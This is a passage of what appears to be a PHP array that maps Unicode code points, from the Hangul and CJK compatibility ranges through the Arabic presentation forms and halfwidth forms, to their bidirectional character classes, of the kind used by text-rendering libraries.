43111=>'L', 43112=>'L', 43113=>'L', 43114=>'L', 43115=>'L', 43116=>'L', 43117=>'L', 43118=>'L', 43119=>'L', 43120=>'L', 43121=>'L', 43122=>'L', 43123=>'L', 43124=>'ON', 43125=>'ON', 43126=>'ON', 43127=>'ON', 44032=>'L', 55203=>'L', 55296=>'L', 56191=>'L', 56192=>'L', 56319=>'L', 56320=>'L', 57343=>'L', 57344=>'L', 63743=>'L', 63744=>'L', 63745=>'L', 63746=>'L', 63747=>'L', 63748=>'L', 63749=>'L', 63750=>'L', 63751=>'L', 63752=>'L', 63753=>'L', 63754=>'L', 63755=>'L', 63756=>'L', 63757=>'L', 63758=>'L', 63759=>'L', 63760=>'L', 63761=>'L', 63762=>'L', 63763=>'L', 63764=>'L', 63765=>'L', 63766=>'L', 63767=>'L', 63768=>'L', 63769=>'L', 63770=>'L', 63771=>'L', 63772=>'L', 63773=>'L', 63774=>'L', 63775=>'L', 63776=>'L', 63777=>'L', 63778=>'L', 63779=>'L', 63780=>'L', 63781=>'L', 63782=>'L', 63783=>'L', 63784=>'L', 63785=>'L', 63786=>'L', 63787=>'L', 63788=>'L', 63789=>'L', 63790=>'L', 63791=>'L', 63792=>'L', 63793=>'L', 63794=>'L', 63795=>'L', 63796=>'L', 63797=>'L', 63798=>'L', 63799=>'L', 63800=>'L', 63801=>'L', 63802=>'L', 63803=>'L', 63804=>'L', 63805=>'L', 63806=>'L', 63807=>'L', 63808=>'L', 63809=>'L', 63810=>'L', 63811=>'L', 63812=>'L', 63813=>'L', 63814=>'L', 63815=>'L', 63816=>'L', 63817=>'L', 63818=>'L', 63819=>'L', 63820=>'L', 63821=>'L', 63822=>'L', 63823=>'L', 63824=>'L', 63825=>'L', 63826=>'L', 63827=>'L', 63828=>'L', 63829=>'L', 63830=>'L', 63831=>'L', 63832=>'L', 63833=>'L', 63834=>'L', 63835=>'L', 63836=>'L', 63837=>'L', 63838=>'L', 63839=>'L', 63840=>'L', 63841=>'L', 63842=>'L', 63843=>'L', 63844=>'L', 63845=>'L', 63846=>'L', 63847=>'L', 63848=>'L', 63849=>'L', 63850=>'L', 63851=>'L', 63852=>'L', 63853=>'L', 63854=>'L', 63855=>'L', 63856=>'L', 63857=>'L', 63858=>'L', 63859=>'L', 63860=>'L', 63861=>'L', 63862=>'L', 63863=>'L', 63864=>'L', 63865=>'L', 63866=>'L', 63867=>'L', 63868=>'L', 63869=>'L', 63870=>'L', 63871=>'L', 63872=>'L', 63873=>'L', 63874=>'L', 63875=>'L', 63876=>'L', 63877=>'L', 63878=>'L', 63879=>'L', 63880=>'L', 63881=>'L', 63882=>'L', 63883=>'L', 63884=>'L', 63885=>'L', 63886=>'L', 63887=>'L', 63888=>'L', 63889=>'L', 63890=>'L', 63891=>'L', 63892=>'L', 63893=>'L', 63894=>'L', 63895=>'L', 63896=>'L', 63897=>'L', 63898=>'L', 63899=>'L', 63900=>'L', 63901=>'L', 63902=>'L', 63903=>'L', 63904=>'L', 63905=>'L', 63906=>'L', 63907=>'L', 63908=>'L', 63909=>'L', 63910=>'L', 63911=>'L', 63912=>'L', 63913=>'L', 63914=>'L', 63915=>'L', 63916=>'L', 63917=>'L', 63918=>'L', 63919=>'L', 63920=>'L', 63921=>'L', 63922=>'L', 63923=>'L', 63924=>'L', 63925=>'L', 63926=>'L', 63927=>'L', 63928=>'L', 63929=>'L', 63930=>'L', 63931=>'L', 63932=>'L', 63933=>'L', 63934=>'L', 63935=>'L', 63936=>'L', 63937=>'L', 63938=>'L', 63939=>'L', 63940=>'L', 63941=>'L', 63942=>'L', 63943=>'L', 63944=>'L', 63945=>'L', 63946=>'L', 63947=>'L', 63948=>'L', 63949=>'L', 63950=>'L', 63951=>'L', 63952=>'L', 63953=>'L', 63954=>'L', 63955=>'L', 63956=>'L', 63957=>'L', 63958=>'L', 63959=>'L', 63960=>'L', 63961=>'L', 63962=>'L', 63963=>'L', 63964=>'L', 63965=>'L', 63966=>'L', 63967=>'L', 63968=>'L', 63969=>'L', 63970=>'L', 63971=>'L', 63972=>'L', 63973=>'L', 63974=>'L', 63975=>'L', 63976=>'L', 63977=>'L', 63978=>'L', 63979=>'L', 63980=>'L', 63981=>'L', 63982=>'L', 63983=>'L', 63984=>'L', 63985=>'L', 63986=>'L', 63987=>'L', 63988=>'L', 63989=>'L', 63990=>'L', 63991=>'L', 63992=>'L', 63993=>'L', 63994=>'L', 63995=>'L', 63996=>'L', 63997=>'L', 63998=>'L', 63999=>'L', 64000=>'L', 64001=>'L', 64002=>'L', 64003=>'L', 64004=>'L', 64005=>'L', 64006=>'L', 64007=>'L', 64008=>'L', 64009=>'L', 64010=>'L', 64011=>'L', 64012=>'L', 64013=>'L', 64014=>'L', 64015=>'L', 64016=>'L', 64017=>'L', 64018=>'L', 64019=>'L', 64020=>'L', 64021=>'L', 64022=>'L', 64023=>'L', 64024=>'L', 64025=>'L', 64026=>'L', 64027=>'L', 64028=>'L', 64029=>'L', 64030=>'L', 64031=>'L', 64032=>'L', 64033=>'L', 64034=>'L', 64035=>'L', 64036=>'L', 64037=>'L', 64038=>'L', 64039=>'L', 64040=>'L', 64041=>'L', 64042=>'L', 64043=>'L', 64044=>'L', 64045=>'L', 64048=>'L', 64049=>'L', 64050=>'L', 64051=>'L', 64052=>'L', 64053=>'L', 64054=>'L', 64055=>'L', 64056=>'L', 64057=>'L', 64058=>'L', 64059=>'L', 64060=>'L', 64061=>'L', 64062=>'L', 64063=>'L', 64064=>'L', 64065=>'L', 64066=>'L', 64067=>'L', 64068=>'L', 64069=>'L', 64070=>'L', 64071=>'L', 64072=>'L', 64073=>'L', 64074=>'L', 64075=>'L', 64076=>'L', 64077=>'L', 64078=>'L', 64079=>'L', 64080=>'L', 64081=>'L', 64082=>'L', 64083=>'L', 64084=>'L', 64085=>'L', 64086=>'L', 64087=>'L', 64088=>'L', 64089=>'L', 64090=>'L', 64091=>'L', 64092=>'L', 64093=>'L', 64094=>'L', 64095=>'L', 64096=>'L', 64097=>'L', 64098=>'L', 64099=>'L', 64100=>'L', 64101=>'L', 64102=>'L', 64103=>'L', 64104=>'L', 64105=>'L', 64106=>'L', 64112=>'L', 64113=>'L', 64114=>'L', 64115=>'L', 64116=>'L', 64117=>'L', 64118=>'L', 64119=>'L', 64120=>'L', 64121=>'L', 64122=>'L', 64123=>'L', 64124=>'L', 64125=>'L', 64126=>'L', 64127=>'L', 64128=>'L', 64129=>'L', 64130=>'L', 64131=>'L', 64132=>'L', 64133=>'L', 64134=>'L', 64135=>'L', 64136=>'L', 64137=>'L', 64138=>'L', 64139=>'L', 64140=>'L', 64141=>'L', 64142=>'L', 64143=>'L', 64144=>'L', 64145=>'L', 64146=>'L', 64147=>'L', 64148=>'L', 64149=>'L', 64150=>'L', 64151=>'L', 64152=>'L', 64153=>'L', 64154=>'L', 64155=>'L', 64156=>'L', 64157=>'L', 64158=>'L', 64159=>'L', 64160=>'L', 64161=>'L', 64162=>'L', 64163=>'L', 64164=>'L', 64165=>'L', 64166=>'L', 64167=>'L', 64168=>'L', 64169=>'L', 64170=>'L', 64171=>'L', 64172=>'L', 64173=>'L', 64174=>'L', 64175=>'L', 64176=>'L', 64177=>'L', 64178=>'L', 64179=>'L', 64180=>'L', 64181=>'L', 64182=>'L', 64183=>'L', 64184=>'L', 64185=>'L', 64186=>'L', 64187=>'L', 64188=>'L', 64189=>'L', 64190=>'L', 64191=>'L', 64192=>'L', 64193=>'L', 64194=>'L', 64195=>'L', 64196=>'L', 64197=>'L', 64198=>'L', 64199=>'L', 64200=>'L', 64201=>'L', 64202=>'L', 64203=>'L', 64204=>'L', 64205=>'L', 64206=>'L', 64207=>'L', 64208=>'L', 64209=>'L', 64210=>'L', 64211=>'L', 64212=>'L', 64213=>'L', 64214=>'L', 64215=>'L', 64216=>'L', 64217=>'L', 64256=>'L', 64257=>'L', 64258=>'L', 64259=>'L', 64260=>'L', 64261=>'L', 64262=>'L', 64275=>'L', 64276=>'L', 64277=>'L', 64278=>'L', 64279=>'L', 64285=>'R', 64286=>'NSM', 64287=>'R', 64288=>'R', 64289=>'R', 64290=>'R', 64291=>'R', 64292=>'R', 64293=>'R', 64294=>'R', 64295=>'R', 64296=>'R', 64297=>'ES', 64298=>'R', 64299=>'R', 64300=>'R', 64301=>'R', 64302=>'R', 64303=>'R', 64304=>'R', 64305=>'R', 64306=>'R', 64307=>'R', 64308=>'R', 64309=>'R', 64310=>'R', 64312=>'R', 64313=>'R', 64314=>'R', 64315=>'R', 64316=>'R', 64318=>'R', 64320=>'R', 64321=>'R', 64323=>'R', 64324=>'R', 64326=>'R', 64327=>'R', 64328=>'R', 64329=>'R', 64330=>'R', 64331=>'R', 64332=>'R', 64333=>'R', 64334=>'R', 64335=>'R', 64336=>'AL', 64337=>'AL', 64338=>'AL', 64339=>'AL', 64340=>'AL', 64341=>'AL', 64342=>'AL', 64343=>'AL', 64344=>'AL', 64345=>'AL', 64346=>'AL', 64347=>'AL', 64348=>'AL', 64349=>'AL', 64350=>'AL', 64351=>'AL', 64352=>'AL', 64353=>'AL', 64354=>'AL', 64355=>'AL', 64356=>'AL', 64357=>'AL', 64358=>'AL', 64359=>'AL', 64360=>'AL', 64361=>'AL', 64362=>'AL', 64363=>'AL', 64364=>'AL', 64365=>'AL', 64366=>'AL', 64367=>'AL', 64368=>'AL', 64369=>'AL', 64370=>'AL', 64371=>'AL', 64372=>'AL', 64373=>'AL', 64374=>'AL', 64375=>'AL', 64376=>'AL', 64377=>'AL', 64378=>'AL', 64379=>'AL', 64380=>'AL', 64381=>'AL', 64382=>'AL', 64383=>'AL', 64384=>'AL', 64385=>'AL', 64386=>'AL', 64387=>'AL', 64388=>'AL', 64389=>'AL', 64390=>'AL', 64391=>'AL', 64392=>'AL', 64393=>'AL', 64394=>'AL', 64395=>'AL', 64396=>'AL', 64397=>'AL', 64398=>'AL', 64399=>'AL', 64400=>'AL', 64401=>'AL', 64402=>'AL', 64403=>'AL', 64404=>'AL', 64405=>'AL', 64406=>'AL', 64407=>'AL', 64408=>'AL', 64409=>'AL', 64410=>'AL', 64411=>'AL', 64412=>'AL', 64413=>'AL', 64414=>'AL', 64415=>'AL', 64416=>'AL', 64417=>'AL', 64418=>'AL', 64419=>'AL', 64420=>'AL', 64421=>'AL', 64422=>'AL', 64423=>'AL', 64424=>'AL', 64425=>'AL', 64426=>'AL', 64427=>'AL', 64428=>'AL', 64429=>'AL', 64430=>'AL', 64431=>'AL', 64432=>'AL', 64433=>'AL', 64467=>'AL', 64468=>'AL', 64469=>'AL', 64470=>'AL', 64471=>'AL', 64472=>'AL', 64473=>'AL', 64474=>'AL', 64475=>'AL', 64476=>'AL', 64477=>'AL', 64478=>'AL', 64479=>'AL', 64480=>'AL', 64481=>'AL', 64482=>'AL', 64483=>'AL', 64484=>'AL', 64485=>'AL', 64486=>'AL', 64487=>'AL', 64488=>'AL', 64489=>'AL', 64490=>'AL', 64491=>'AL', 64492=>'AL', 64493=>'AL', 64494=>'AL', 64495=>'AL', 64496=>'AL', 64497=>'AL', 64498=>'AL', 64499=>'AL', 64500=>'AL', 64501=>'AL', 64502=>'AL', 64503=>'AL', 64504=>'AL', 64505=>'AL', 64506=>'AL', 64507=>'AL', 64508=>'AL', 64509=>'AL', 64510=>'AL', 64511=>'AL', 64512=>'AL', 64513=>'AL', 64514=>'AL', 64515=>'AL', 64516=>'AL', 64517=>'AL', 64518=>'AL', 64519=>'AL', 64520=>'AL', 64521=>'AL', 64522=>'AL', 64523=>'AL', 64524=>'AL', 64525=>'AL', 64526=>'AL', 64527=>'AL', 64528=>'AL', 64529=>'AL', 64530=>'AL', 64531=>'AL', 64532=>'AL', 64533=>'AL', 64534=>'AL', 64535=>'AL', 64536=>'AL', 64537=>'AL', 64538=>'AL', 64539=>'AL', 64540=>'AL', 64541=>'AL', 64542=>'AL', 64543=>'AL', 64544=>'AL', 64545=>'AL', 64546=>'AL', 64547=>'AL', 64548=>'AL', 64549=>'AL', 64550=>'AL', 64551=>'AL', 64552=>'AL', 64553=>'AL', 64554=>'AL', 64555=>'AL', 64556=>'AL', 64557=>'AL', 64558=>'AL', 64559=>'AL', 64560=>'AL', 64561=>'AL', 64562=>'AL', 64563=>'AL', 64564=>'AL', 64565=>'AL', 64566=>'AL', 64567=>'AL', 64568=>'AL', 64569=>'AL', 64570=>'AL', 64571=>'AL', 64572=>'AL', 64573=>'AL', 64574=>'AL', 64575=>'AL', 64576=>'AL', 64577=>'AL', 64578=>'AL', 64579=>'AL', 64580=>'AL', 64581=>'AL', 64582=>'AL', 64583=>'AL', 64584=>'AL', 64585=>'AL', 64586=>'AL', 64587=>'AL', 64588=>'AL', 64589=>'AL', 64590=>'AL', 64591=>'AL', 64592=>'AL', 64593=>'AL', 64594=>'AL', 64595=>'AL', 64596=>'AL', 64597=>'AL', 64598=>'AL', 64599=>'AL', 64600=>'AL', 64601=>'AL', 64602=>'AL', 64603=>'AL', 64604=>'AL', 64605=>'AL', 64606=>'AL', 64607=>'AL', 64608=>'AL', 64609=>'AL', 64610=>'AL', 64611=>'AL', 64612=>'AL', 64613=>'AL', 64614=>'AL', 64615=>'AL', 64616=>'AL', 64617=>'AL', 64618=>'AL', 64619=>'AL', 64620=>'AL', 64621=>'AL', 64622=>'AL', 64623=>'AL', 64624=>'AL', 64625=>'AL', 64626=>'AL', 64627=>'AL', 64628=>'AL', 64629=>'AL', 64630=>'AL', 64631=>'AL', 64632=>'AL', 64633=>'AL', 64634=>'AL', 64635=>'AL', 64636=>'AL', 64637=>'AL', 64638=>'AL', 64639=>'AL', 64640=>'AL', 64641=>'AL', 64642=>'AL', 64643=>'AL', 64644=>'AL', 64645=>'AL', 64646=>'AL', 64647=>'AL', 64648=>'AL', 64649=>'AL', 64650=>'AL', 64651=>'AL', 64652=>'AL', 64653=>'AL', 64654=>'AL', 64655=>'AL', 64656=>'AL', 64657=>'AL', 64658=>'AL', 64659=>'AL', 64660=>'AL', 64661=>'AL', 64662=>'AL', 64663=>'AL', 64664=>'AL', 64665=>'AL', 64666=>'AL', 64667=>'AL', 64668=>'AL', 64669=>'AL', 64670=>'AL', 64671=>'AL', 64672=>'AL', 64673=>'AL', 64674=>'AL', 64675=>'AL', 64676=>'AL', 64677=>'AL', 64678=>'AL', 64679=>'AL', 64680=>'AL', 64681=>'AL', 64682=>'AL', 64683=>'AL', 64684=>'AL', 64685=>'AL', 64686=>'AL', 64687=>'AL', 64688=>'AL', 64689=>'AL', 64690=>'AL', 64691=>'AL', 64692=>'AL', 64693=>'AL', 64694=>'AL', 64695=>'AL', 64696=>'AL', 64697=>'AL', 64698=>'AL', 64699=>'AL', 64700=>'AL', 64701=>'AL', 64702=>'AL', 64703=>'AL', 64704=>'AL', 64705=>'AL', 64706=>'AL', 64707=>'AL', 64708=>'AL', 64709=>'AL', 64710=>'AL', 64711=>'AL', 64712=>'AL', 64713=>'AL', 64714=>'AL', 64715=>'AL', 64716=>'AL', 64717=>'AL', 64718=>'AL', 64719=>'AL', 64720=>'AL', 64721=>'AL', 64722=>'AL', 64723=>'AL', 64724=>'AL', 64725=>'AL', 64726=>'AL', 64727=>'AL', 64728=>'AL', 64729=>'AL', 64730=>'AL', 64731=>'AL', 64732=>'AL', 64733=>'AL', 64734=>'AL', 64735=>'AL', 64736=>'AL', 64737=>'AL', 64738=>'AL', 64739=>'AL', 64740=>'AL', 64741=>'AL', 64742=>'AL', 64743=>'AL', 64744=>'AL', 64745=>'AL', 64746=>'AL', 64747=>'AL', 64748=>'AL', 64749=>'AL', 64750=>'AL', 64751=>'AL', 64752=>'AL', 64753=>'AL', 64754=>'AL', 64755=>'AL', 64756=>'AL', 64757=>'AL', 64758=>'AL', 64759=>'AL', 64760=>'AL', 64761=>'AL', 64762=>'AL', 64763=>'AL', 64764=>'AL', 64765=>'AL', 64766=>'AL', 64767=>'AL', 64768=>'AL', 64769=>'AL', 64770=>'AL', 64771=>'AL', 64772=>'AL', 64773=>'AL', 64774=>'AL', 64775=>'AL', 64776=>'AL', 64777=>'AL', 64778=>'AL', 64779=>'AL', 64780=>'AL', 64781=>'AL', 64782=>'AL', 64783=>'AL', 64784=>'AL', 64785=>'AL', 64786=>'AL', 64787=>'AL', 64788=>'AL', 64789=>'AL', 64790=>'AL', 64791=>'AL', 64792=>'AL', 64793=>'AL', 64794=>'AL', 64795=>'AL', 64796=>'AL', 64797=>'AL', 64798=>'AL', 64799=>'AL', 64800=>'AL', 64801=>'AL', 64802=>'AL', 64803=>'AL', 64804=>'AL', 64805=>'AL', 64806=>'AL', 64807=>'AL', 64808=>'AL', 64809=>'AL', 64810=>'AL', 64811=>'AL', 64812=>'AL', 64813=>'AL', 64814=>'AL', 64815=>'AL', 64816=>'AL', 64817=>'AL', 64818=>'AL', 64819=>'AL', 64820=>'AL', 64821=>'AL', 64822=>'AL', 64823=>'AL', 64824=>'AL', 64825=>'AL', 64826=>'AL', 64827=>'AL', 64828=>'AL', 64829=>'AL', 64830=>'ON', 64831=>'ON', 64848=>'AL', 64849=>'AL', 64850=>'AL', 64851=>'AL', 64852=>'AL', 64853=>'AL', 64854=>'AL', 64855=>'AL', 64856=>'AL', 64857=>'AL', 64858=>'AL', 64859=>'AL', 64860=>'AL', 64861=>'AL', 64862=>'AL', 64863=>'AL', 64864=>'AL', 64865=>'AL', 64866=>'AL', 64867=>'AL', 64868=>'AL', 64869=>'AL', 64870=>'AL', 64871=>'AL', 64872=>'AL', 64873=>'AL', 64874=>'AL', 64875=>'AL', 64876=>'AL', 64877=>'AL', 64878=>'AL', 64879=>'AL', 64880=>'AL', 64881=>'AL', 64882=>'AL', 64883=>'AL', 64884=>'AL', 64885=>'AL', 64886=>'AL', 64887=>'AL', 64888=>'AL', 64889=>'AL', 64890=>'AL', 64891=>'AL', 64892=>'AL', 64893=>'AL', 64894=>'AL', 64895=>'AL', 64896=>'AL', 64897=>'AL', 64898=>'AL', 64899=>'AL', 64900=>'AL', 64901=>'AL', 64902=>'AL', 64903=>'AL', 64904=>'AL', 64905=>'AL', 64906=>'AL', 64907=>'AL', 64908=>'AL', 64909=>'AL', 64910=>'AL', 64911=>'AL', 64914=>'AL', 64915=>'AL', 64916=>'AL', 64917=>'AL', 64918=>'AL', 64919=>'AL', 64920=>'AL', 64921=>'AL', 64922=>'AL', 64923=>'AL', 64924=>'AL', 64925=>'AL', 64926=>'AL', 64927=>'AL', 64928=>'AL', 64929=>'AL', 64930=>'AL', 64931=>'AL', 64932=>'AL', 64933=>'AL', 64934=>'AL', 64935=>'AL', 64936=>'AL', 64937=>'AL', 64938=>'AL', 64939=>'AL', 64940=>'AL', 64941=>'AL', 64942=>'AL', 64943=>'AL', 64944=>'AL', 64945=>'AL', 64946=>'AL', 64947=>'AL', 64948=>'AL', 64949=>'AL', 64950=>'AL', 64951=>'AL', 64952=>'AL', 64953=>'AL', 64954=>'AL', 64955=>'AL', 64956=>'AL', 64957=>'AL', 64958=>'AL', 64959=>'AL', 64960=>'AL', 64961=>'AL', 64962=>'AL', 64963=>'AL', 64964=>'AL', 64965=>'AL', 64966=>'AL', 64967=>'AL', 65008=>'AL', 65009=>'AL', 65010=>'AL', 65011=>'AL', 65012=>'AL', 65013=>'AL', 65014=>'AL', 65015=>'AL', 65016=>'AL', 65017=>'AL', 65018=>'AL', 65019=>'AL', 65020=>'AL', 65021=>'ON', 65024=>'NSM', 65025=>'NSM', 65026=>'NSM', 65027=>'NSM', 65028=>'NSM', 65029=>'NSM', 65030=>'NSM', 65031=>'NSM', 65032=>'NSM', 65033=>'NSM', 65034=>'NSM', 65035=>'NSM', 65036=>'NSM', 65037=>'NSM', 65038=>'NSM', 65039=>'NSM', 65040=>'ON', 65041=>'ON', 65042=>'ON', 65043=>'ON', 65044=>'ON', 65045=>'ON', 65046=>'ON', 65047=>'ON', 65048=>'ON', 65049=>'ON', 65056=>'NSM', 65057=>'NSM', 65058=>'NSM', 65059=>'NSM', 65072=>'ON', 65073=>'ON', 65074=>'ON', 65075=>'ON', 65076=>'ON', 65077=>'ON', 65078=>'ON', 65079=>'ON', 65080=>'ON', 65081=>'ON', 65082=>'ON', 65083=>'ON', 65084=>'ON', 65085=>'ON', 65086=>'ON', 65087=>'ON', 65088=>'ON', 65089=>'ON', 65090=>'ON', 65091=>'ON', 65092=>'ON', 65093=>'ON', 65094=>'ON', 65095=>'ON', 65096=>'ON', 65097=>'ON', 65098=>'ON', 65099=>'ON', 65100=>'ON', 65101=>'ON', 65102=>'ON', 65103=>'ON', 65104=>'CS', 65105=>'ON', 65106=>'CS', 65108=>'ON', 65109=>'CS', 65110=>'ON', 65111=>'ON', 65112=>'ON', 65113=>'ON', 65114=>'ON', 65115=>'ON', 65116=>'ON', 65117=>'ON', 65118=>'ON', 65119=>'ET', 65120=>'ON', 65121=>'ON', 65122=>'ES', 65123=>'ES', 65124=>'ON', 65125=>'ON', 65126=>'ON', 65128=>'ON', 65129=>'ET', 65130=>'ET', 65131=>'ON', 65136=>'AL', 65137=>'AL', 65138=>'AL', 65139=>'AL', 65140=>'AL', 65142=>'AL', 65143=>'AL', 65144=>'AL', 65145=>'AL', 65146=>'AL', 65147=>'AL', 65148=>'AL', 65149=>'AL', 65150=>'AL', 65151=>'AL', 65152=>'AL', 65153=>'AL', 65154=>'AL', 65155=>'AL', 65156=>'AL', 65157=>'AL', 65158=>'AL', 65159=>'AL', 65160=>'AL', 65161=>'AL', 65162=>'AL', 65163=>'AL', 65164=>'AL', 65165=>'AL', 65166=>'AL', 65167=>'AL', 65168=>'AL', 65169=>'AL', 65170=>'AL', 65171=>'AL', 65172=>'AL', 65173=>'AL', 65174=>'AL', 65175=>'AL', 65176=>'AL', 65177=>'AL', 65178=>'AL', 65179=>'AL', 65180=>'AL', 65181=>'AL', 65182=>'AL', 65183=>'AL', 65184=>'AL', 65185=>'AL', 65186=>'AL', 65187=>'AL', 65188=>'AL', 65189=>'AL', 65190=>'AL', 65191=>'AL', 65192=>'AL', 65193=>'AL', 65194=>'AL', 65195=>'AL', 65196=>'AL', 65197=>'AL', 65198=>'AL', 65199=>'AL', 65200=>'AL', 65201=>'AL', 65202=>'AL', 65203=>'AL', 65204=>'AL', 65205=>'AL', 65206=>'AL', 65207=>'AL', 65208=>'AL', 65209=>'AL', 65210=>'AL', 65211=>'AL', 65212=>'AL', 65213=>'AL', 65214=>'AL', 65215=>'AL', 65216=>'AL', 65217=>'AL', 65218=>'AL', 65219=>'AL', 65220=>'AL', 65221=>'AL', 65222=>'AL', 65223=>'AL', 65224=>'AL', 65225=>'AL', 65226=>'AL', 65227=>'AL', 65228=>'AL', 65229=>'AL', 65230=>'AL', 65231=>'AL', 65232=>'AL', 65233=>'AL', 65234=>'AL', 65235=>'AL', 65236=>'AL', 65237=>'AL', 65238=>'AL', 65239=>'AL', 65240=>'AL', 65241=>'AL', 65242=>'AL', 65243=>'AL', 65244=>'AL', 65245=>'AL', 65246=>'AL', 65247=>'AL', 65248=>'AL', 65249=>'AL', 65250=>'AL', 65251=>'AL', 65252=>'AL', 65253=>'AL', 65254=>'AL', 65255=>'AL', 65256=>'AL', 65257=>'AL', 65258=>'AL', 65259=>'AL', 65260=>'AL', 65261=>'AL', 65262=>'AL', 65263=>'AL', 65264=>'AL', 65265=>'AL', 65266=>'AL', 65267=>'AL', 65268=>'AL', 65269=>'AL', 65270=>'AL', 65271=>'AL', 65272=>'AL', 65273=>'AL', 65274=>'AL', 65275=>'AL', 65276=>'AL', 65279=>'BN', 65281=>'ON', 65282=>'ON', 65283=>'ET', 65284=>'ET', 65285=>'ET', 65286=>'ON', 65287=>'ON', 65288=>'ON', 65289=>'ON', 65290=>'ON', 65291=>'ES', 65292=>'CS', 65293=>'ES', 65294=>'CS', 65295=>'CS', 65296=>'EN', 65297=>'EN', 65298=>'EN', 65299=>'EN', 65300=>'EN', 65301=>'EN', 65302=>'EN', 65303=>'EN', 65304=>'EN', 65305=>'EN', 65306=>'CS', 65307=>'ON', 65308=>'ON', 65309=>'ON', 65310=>'ON', 65311=>'ON', 65312=>'ON', 65313=>'L', 65314=>'L', 65315=>'L', 65316=>'L', 65317=>'L', 65318=>'L', 65319=>'L', 65320=>'L', 65321=>'L', 65322=>'L', 65323=>'L', 65324=>'L', 65325=>'L', 65326=>'L', 65327=>'L', 65328=>'L', 65329=>'L', 65330=>'L', 65331=>'L', 65332=>'L', 65333=>'L', 65334=>'L', 65335=>'L', 65336=>'L', 65337=>'L', 65338=>'L', 65339=>'ON', 65340=>'ON', 65341=>'ON', 65342=>'ON', 65343=>'ON', 65344=>'ON', 65345=>'L', 65346=>'L', 65347=>'L', 65348=>'L', 65349=>'L', 65350=>'L', 65351=>'L', 65352=>'L', 65353=>'L', 65354=>'L', 65355=>'L', 65356=>'L', 65357=>'L', 65358=>'L', 65359=>'L', 65360=>'L', 65361=>'L', 65362=>'L', 65363=>'L', 65364=>'L', 65365=>'L', 65366=>'L', 65367=>'L', 65368=>'L', 65369=>'L', 65370=>'L', 65371=>'ON', 65372=>'ON', 65373=>'ON', 65374=>'ON', 65375=>'ON', 65376=>'ON', 65377=>'ON', 65378=>'ON', 65379=>'ON', 65380=>'ON', 65381=>'ON', 65382=>'L', 65383=>'L', 65384=>'L', 65385=>'L', 65386=>'L', 65387=>'L', 65388=>'L', 65389=>'L', 65390=>'L', 65391=>'L', 65392=>'L', 65393=>'L', 65394=>'L', 65395=>'L', 65396=>'L', 65397=>'L', 65398=>'L', 65399=>'L', 65400=>'L', 65401=>'L', 65402=>'L', 65403=>'L', 65404=>'L', 65405=>'L', 65406=>'L', 65407=>'L', 65408=>'L', 65409=>'L', 65410=>'L', 65411=>'L', 65412=>'L', 65413=>'L', 65414=>'L', 65415=>'L', 65416=>'L', 65417=>'L', 65418=>'L', 65419=>'L', 65420=>'L', 65421=>'L', 65422=>'L', 65423=>'L', 65424=>'L', 65425=>'L', 65426=>'L', 65427=>'L', 65428=>'L', 65429=>'L', 65430=>'L', 65431=>'L', 65432=>'L', 65433=>'L', 65434=>'L', 65435=>'L', 65436=>'L', 65437=>'L', 65438=>'L', 65439=>'L', 65440=>'L', 65441=>'L', 65442=>'L', 65443=>'L', 65444=>'L', 65445=>'L', 65446=>'L', 65447=>'L', 65448=>'L', 65449=>'L', 65450=>'L', 65451=>'L', 65452=>'L', 65453=>'L', 65454=>'L', 65455=>'L', 65456=>'L', 65457=>'L', 65458=>'L', 65459=>'L', 65460=>'L', 65461=>'L', 65462=>'L', 65463=>'L', 65464=>'L', 65465=>'L', 65466=>'L', 65467=>'L', 65468=>'L', 65469=>'L', 65470=>'L', 65474=>'L', 65475=>'L', 65476=>'L', 65477=>'L', 65478=>'L', 65479=>'L', 65482=>'L', 65483=>'L', 65484=>'L', 65485=>'L', 65486=>'L', 65487=>'L', 65490=>'L', 65491=>'L', 65492=>'L', 65493=>'L', 65494=>'L', 65495=>'L', 65498=>'L', 65499=>'L', 65500=>'L', 65504=>'ET', 65505=>'ET', 65506=>'ON', 65507=>'ON', 65508=>'ON', 65509=>'ET', 65510=>'ET', 65512=>'ON', 65513=>'ON', 65514=>'ON', 65515=>'ON', 65516=>'ON', 65517=>'ON', 65518=>'ON', 65529=>'ON', 65530=>'ON', 65531=>'ON', 65532=>'ON', 65533=>'ON', 65536=>'L', 65537=>'L', 65538=>'L', 65539=>'L', 65540=>'L', 65541=>'L', 65542=>'L', 65543=>'L', 65544=>'L', 65545=>'L', 65546=>'L', 65547=>'L', 65549=>'L', 65550=>'L', 65551=>'L', 65552=>'L', 65553=>'L', 65554=>'L', 65555=>'L', 65556=>'L', 65557=>'L', 65558=>'L', 65559=>'L', 65560=>'L', 65561=>'L', 65562=>'L', 65563=>'L', 65564=>'L', 65565=>'L', 65566=>'L', 65567=>'L', 65568=>'L', 65569=>'L', 65570=>'L', 65571=>'L', 65572=>'L', 65573=>'L', 65574=>'L', 65576=>'L', 65577=>'L', 65578=>'L', 65579=>'L', 65580=>'L', 65581=>'L', 65582=>'L', 65583=>'L', 65584=>'L', 65585=>'L', 65586=>'L', 65587=>'L', 65588=>'L', 65589=>'L', 65590=>'L', 65591=>'L', 65592=>'L', 65593=>'L', 65594=>'L', 65596=>'L', 65597=>'L', 65599=>'L', 65600=>'L', 65601=>'L', 65602=>'L', 65603=>'L', 65604=>'L', 65605=>'L', 65606=>'L', 65607=>'L', 65608=>'L', 65609=>'L', 65610=>'L', 65611=>'L', 65612=>'L', 65613=>'L', 65616=>'L', 65617=>'L', 65618=>'L', 65619=>'L', 65620=>'L', 65621=>'L', 65622=>'L', 65623=>'L', 65624=>'L', 65625=>'L', 65626=>'L', 65627=>'L', 65628=>'L', 65629=>'L', 65664=>'L', 65665=>'L', 65666=>'L', 65667=>'L', 65668=>'L', 65669=>'L', 65670=>'L', 65671=>'L', 65672=>'L', 65673=>'L', 65674=>'L', 65675=>'L', 65676=>'L', 65677=>'L', 65678=>'L', 65679=>'L', 65680=>'L', 65681=>'L', 65682=>'L', 65683=>'L', 65684=>'L', 65685=>'L', 65686=>'L', 65687=>'L', 65688=>'L', 65689=>'L', 65690=>'L', 65691=>'L', 65692=>'L', 65693=>'L', 65694=>'L', 65695=>'L', 65696=>'L', 65697=>'L', 65698=>'L', 65699=>'L', 65700=>'L', 65701=>'L', 65702=>'L', 65703=>'L', 65704=>'L', 65705=>'L', 65706=>'L', 65707=>'L', 65708=>'L', 65709=>'L', 65710=>'L', 65711=>'L', 65712=>'L', 65713=>'L', 65714=>'L', 65715=>'L', 65716=>'L', 65717=>'L', 65718=>'L', 65719=>'L', 65720=>'L', 65721=>'L', 65722=>'L', 65723=>'L', 65724=>'L', 65725=>'L', 65726=>'L', 65727=>'L', 65728=>'L', 65729=>'L', 